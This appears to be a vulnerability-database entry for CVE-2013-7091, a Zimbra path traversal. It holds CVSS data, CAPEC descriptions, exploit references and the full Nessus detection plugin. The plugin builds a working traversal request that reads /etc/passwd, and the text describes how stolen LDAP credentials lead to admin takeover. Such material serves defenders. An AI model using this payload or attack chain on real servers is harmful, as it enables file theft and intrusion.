Vulnerabilities > CVE-2013-7091 - Path Traversal vulnerability in Synacor Zimbra Collaboration Suite

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
zimbra
CWE-22
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the skin parameter. NOTE: this can be leveraged to execute arbitrary code by obtaining LDAP credentials and accessing the service/admin/soap API.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

D2sec

nameZimbra iCollaboration Server LFI
urlhttp://www.d2sec.com/exploits/zimbra_icollaboration_server_lfi.html

Exploit-Db

  • descriptionZimbra - Privilegie Escalation via LFI (0day). CVE-2013-7091. Webapps exploit for linux platform
    fileexploits/linux/webapps/30085.txt
    idEDB-ID:30085
    last seen2016-02-03
    modified2013-12-06
    platformlinux
    port
    published2013-12-06
    reporterrubina119
    sourcehttps://www.exploit-db.com/download/30085/
    titleZimbra - Privilegie Escalation via LFI 0day
    typewebapps
  • descriptionZimbra Collaboration Server LFI. CVE-2013-7091. Remote exploit for linux platform
    fileexploits/linux/webapps/30472.rb
    idEDB-ID:30472
    last seen2016-02-03
    modified2013-12-24
    platformlinux
    port7071
    published2013-12-24
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/30472/
    titleZimbra Collaboration Server - LFI
    typewebapps

Metasploit

descriptionThis module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen credentials allow the attacker to make requests to the service/admin/soap API. This can then be used to create an authentication token for the admin web interface. This access can be used to achieve remote code execution. This module has been tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04.
idMSF:EXPLOIT/UNIX/WEBAPP/ZIMBRA_LFI
last seen2020-05-20
modified2017-07-24
published2013-12-17
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zimbra_lfi.rb
titleZimbra Collaboration Server LFI

Nessus

NASL familyCGI abuses
NASL idZIMBRA_SKIN_LFI.NASL
descriptionThe Zimbra Collaboration Server installed on the remote host is affected by a file disclosure vulnerability because it fails to properly sanitize user-supplied input to the
last seen2020-03-18
modified2014-02-19
plugin id72585
published2014-02-19
reporterThis script is Copyright (C) 2014-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/72585
titleZimbra Collaboration Server skin Parameter Traversal Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(72585);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/02/26");

  script_cve_id("CVE-2013-7091");
  script_bugtraq_id(64149);
  script_xref(name:"EDB-ID", value:"30085");
  script_xref(name:"EDB-ID", value:"30472");

  script_name(english:"Zimbra Collaboration Server skin Parameter Traversal Local File Inclusion");
  script_summary(english:"Tries to read a local file");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a script that is affected by a file
disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Zimbra Collaboration Server installed on the remote host is
affected by a file disclosure vulnerability because it fails to properly
sanitize user-supplied input to the 'skin' parameter of
'/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz'.
This vulnerability could allow a remote, unauthenticated attacker to
view or execute arbitrary files by forming a request containing
directory traversal sequences.

Note that this issue can be leveraged to execute arbitrary code by
obtaining LDAP credentials stored in plaintext and accessing the
'/service/admin/soap' API.");
  # http://www.zimbra.com/forums/announcements/67236-security-guidance-reported-0day-exploit.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d695723d");
  script_set_attribute(attribute:"see_also", value:"https://files2.zimbra.com/website/docs/7.2/ZCS_Patch_7_2_2_r1.pdf");
  script_set_attribute(attribute:"see_also", value:"https://files2.zimbra.com/website/docs/8.0/ZCS_Patch_8_0_2_r1.pdf");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the version 7.2.2 patch 1 / 8.0.2 patch 1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-7091");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Zimbra iCollaboration Server LFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Zimbra Collaboration Server LFI');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/12/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/02/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/02/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zimbra:collaboration_suite");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("zimbra_web_detect.nbin");
  script_require_keys("www/zimbra_zcs");
  script_require_ports("Services/www", 7071);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("gunzip.inc");
include("data_protection.inc");

port = get_http_port(default:7071);

install = get_install_from_kb(
  appname      : "zimbra_zcs",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];
install_url = build_url(port:port, qs:dir);

file = 'etc/passwd';
file_pat = '^a\\.root=".*:0:[01]:';

# Get appVers parameter
res = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/",
  exit_on_fail : TRUE,
  follow_redirect : 2
);

item = pregmatch(pattern:'appVers\\s+ = "([0-9]+)"', string:res[2]);
if (!isnull(item)) v = item[1];
# Fallback to value from PoC, this condition should never be reached
else v = '091214175450';

attack =  mult_str(str:"../", nb:12);
url = "res/I18nMsg,AjxMsg,ZMsg,ZaMsg,ZabMsg,AjxKeys.js.zgz?v=" +
  v + "&skin=" + attack + file + "%00";

res = http_send_recv3(
  method    : "GET",
  item      : dir + "/" + url,
  port         : port,
  exit_on_fail : TRUE
);
body = gunzip(res[2]);
if (isnull(body)) audit(AUDIT_RESP_BAD, port);

if (egrep(pattern:file_pat, string:body))
{
  report = NULL;
  attach_file = NULL;
  output = NULL;
  req = install_url + url;
  request = NULL;

  if (report_verbosity > 0)
  {
    report =
      '\n' + 'Nessus was able to exploit the issue to retrieve the contents of '+
      '\n' + "'" + file + "'" + ' using the following request :' +
      '\n' +
      '\n' + req +
      '\n';

    if (report_verbosity > 1)
    {
      output = strstr(body, "a.root=");
      if (isnull(output)) output = chomp(body);
      output = data_protection::redact_etc_passwd(output:output);
      attach_file = file;
      request = make_list(req);
    }
  }

  security_report_v4(port:port,
                     extra:report,
                     severity:SECURITY_WARNING,
                     request:request,
                     file:attach_file,
                     output:output);

  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, "Zimbra Collaboration Server", install_url);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/124566/zimbra_lfi.rb.txt
idPACKETSTORM:124566
last seen2016-12-05
published2013-12-23
reporterrubina119
sourcehttps://packetstormsecurity.com/files/124566/Zimbra-Collaboration-Server-LFI.html
titleZimbra Collaboration Server LFI

Seebug

bulletinFamilyexploit
descriptionCVE ID:CVE-2013-7091 Zimbra是一家提供专业的电子邮件软件开发供应商其产品在全球大型企业有广泛应用。 Zimbra文件包含漏洞存在于/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx TemplateMsg.js.zgz中,利用该漏洞攻击者可以查看本地配置文件localconfig.xml的信息,包括LDAP协议授权的根目录,可以通过窃取的LDAP信任请求/service/admin/soap API,创建具有管理员权限的用户,从而获得管理控制权。 0 Zimbra <2013 厂商补丁: Zimbra ----- Zimbra 7.2.2 Patch 2, 7.2.3, 8.0.2 Patch 1, 8.0.3版本已修复此漏洞,建议用户下载使用: 链接:http://www.zimbra.com/forums/announcements/67236-security-guidance-reported-0day-exploit.html
idSSV:61096
last seen2017-11-19
modified2013-12-13
published2013-12-13
reporterRoot
titleZimbra邮件系统文件包含漏洞